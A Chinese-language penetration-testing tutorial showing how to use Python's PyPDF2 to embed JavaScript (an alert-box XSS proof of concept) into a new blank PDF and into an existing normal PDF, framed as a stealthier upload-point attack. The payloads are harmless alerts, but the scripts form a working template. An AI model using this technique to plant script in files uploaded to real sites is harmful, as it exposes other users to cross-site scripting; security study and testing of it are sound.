在Web渗透测试中,传统的上传图片木马或WebShell的方式已越来越难以生效。因此,我们需要拓宽思路,寻找新的潜在攻击面。除了图片文件,PDF文件同样是一个常见且容易被忽视的上传点。那么,如何将恶意的XSS代码植入PDF文件中呢?
安全声明:本文内容仅限于网络安全技术的学习与研究。严禁用于任何非法攻击行为,一切操作请在合法授权的环境中进行,否则需自行承担相应的法律后果。
环境准备:安装PyPDF2模块
首先,我们需要使用Python的PyPDF2库来操作PDF文件。通过以下命令进行安装:
pip install PyPDF2

安装必要的Python模块
生成包含XSS的PDF文件
接下来,我们编写Python代码,创建一个嵌入了JavaScript弹窗代码的全新PDF文件。
from PyPDF2 import PdfReader, PdfWriter
# 创建一个新的PDF写入对象
output_pdf = PdfWriter()
# 添加一个空白页面(尺寸较小以方便测试)
page = output_pdf.add_blank_page(width=72, height=72)
# 添加JavaScript代码
output_pdf.add_js("app.alert('XSS Test Alert');")
# 将内容写入新的PDF文件
with open("xss.pdf", "wb") as f:
output_pdf.write(f)
将上述代码保存为.py文件并运行,会在当前目录下生成一个名为 xss.pdf 的文件。要验证效果,你需要将此文件放置到Web服务器的根目录下。
例如,在Linux系统中,可以使用Apache:
cp xss.pdf /var/www/html/
service apache2 start
然后通过浏览器访问该PDF文件的URL(例如 http://your-domain/xss.pdf)。如果PDF阅读器支持并自动执行JavaScript,你将看到弹窗提示。

PDF文件打开时触发的JavaScript弹窗
将XSS绑定至正常PDF文件
在实际的渗透测试场景中,直接上传一个仅有几KB的空白PDF文件可能引起怀疑。更隐蔽的方法是将恶意代码注入到一个正常的、内容丰富的PDF文件中。
- 首先,使用Word等工具生成一个常规的PDF文件(例如
normal.pdf)。
- 使用以下Python代码,将JavaScript代码附加到这个正常PDF的末尾:
from PyPDF2 import PdfReader, PdfWriter
# 打开原始的正常PDF文件
input_pdf = PdfReader("normal.pdf")
# 创建一个新的PDF写入对象
output_pdf = PdfWriter()
# 将原始PDF的所有页面复制到新对象中
for page in input_pdf.pages:
output_pdf.add_page(page)
# 添加JavaScript代码
output_pdf.add_js("app.alert('XSS Injected into Normal PDF');")
# 将合并后的PDF写入新文件
with open("malicious.pdf", "wb") as f:
output_pdf.write(f)
运行此脚本后,会生成 malicious.pdf。这个文件在打开时,会先显示原有的全部正常内容,随后触发JavaScript弹窗。这种方法极大增强了攻击的隐蔽性。

脚本运行成功

生成的恶意PDF文件能正常显示原有内容
|